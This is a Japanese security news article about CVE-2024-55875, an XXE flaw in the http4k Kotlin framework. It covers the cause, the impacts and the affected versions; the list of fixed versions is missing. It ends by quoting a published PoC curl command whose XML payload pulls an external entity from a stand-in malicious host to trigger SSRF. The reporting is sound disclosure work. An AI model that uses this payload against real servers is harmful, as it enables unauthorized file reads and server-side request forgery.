http4k ツールキットの XXE 脆弱性 CVE-2024-55875 (CVSS 9.8) が FIX:PoC も提供

CVE-2024-55875 (CVSS 9.8): Critical XXE Vulnerability Found in http4k Toolkit

2024/12/16 SecurityOnline — Kotlin で開発された軽量な HTTP フレームワークである http4k に、深刻な XXE (XML External Entity) インジェクションの脆弱性 CVE-2024-55875 (CVSS 9.8) が発見された。この脆弱性の悪用に成功した攻撃者は、機密情報の窃取/SSRF (Server-Side Request Forgery)/特定の状況下でのリモート・コード実行などを行う可能性を手にする。

この脆弱性は、XML データの解析に使用される DocumentBuilder の、不適切な設定に起因する。http4k の DocumentBuilderFactory には、外部エンティティを無効化する設定に不備があるため、攻撃者に有害な XML ペイロードの注入および実行をゆるす可能性がある。

公開された脆弱性情報で指摘されているように、「XML コンテンツは、セキュリティ設定および外部エンティティが無効化されている状態で、DocumentBuilder により解析される」ため、この機能を使用するアプリケーションには、悪用される可能性が生じる。

この脆弱性の悪用に成功した攻撃者は、以下の悪意のアクションを実行する可能性を手にする:

  • 機密情報へのアクセス:コンフィグ・ファイル/環境変数/その他の機密情報などの、ローカル・サーバのファイルを読み取る。
  • SSRF 攻撃:サーバを不正なエンドポイントにリダイレクトし、内部サービスを外部の攻撃者にさらす。
  • 任意のコード実行:特定の状況下において攻撃者は、サーバ上で悪意のコマンド/スクリプトを実行できる。

影響を受ける http4k のバージョンは、以下の通りである:

  • 5.40.0.0 以下
  • 4.49.0.0 以下

この脆弱性は、以下のバージョンで修正されている:

なお、この脆弱性 CVE-2024-55875 については、すでに PoC エクスプロイトが公開されており、以下の curl コマンドを使用する攻撃者が、SSRF を引き起こす方法が掲載されている:

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

このペイロードは、http4k における安全が確保されていない XML 解析機能を利用して、不正な操作を実行するものだ。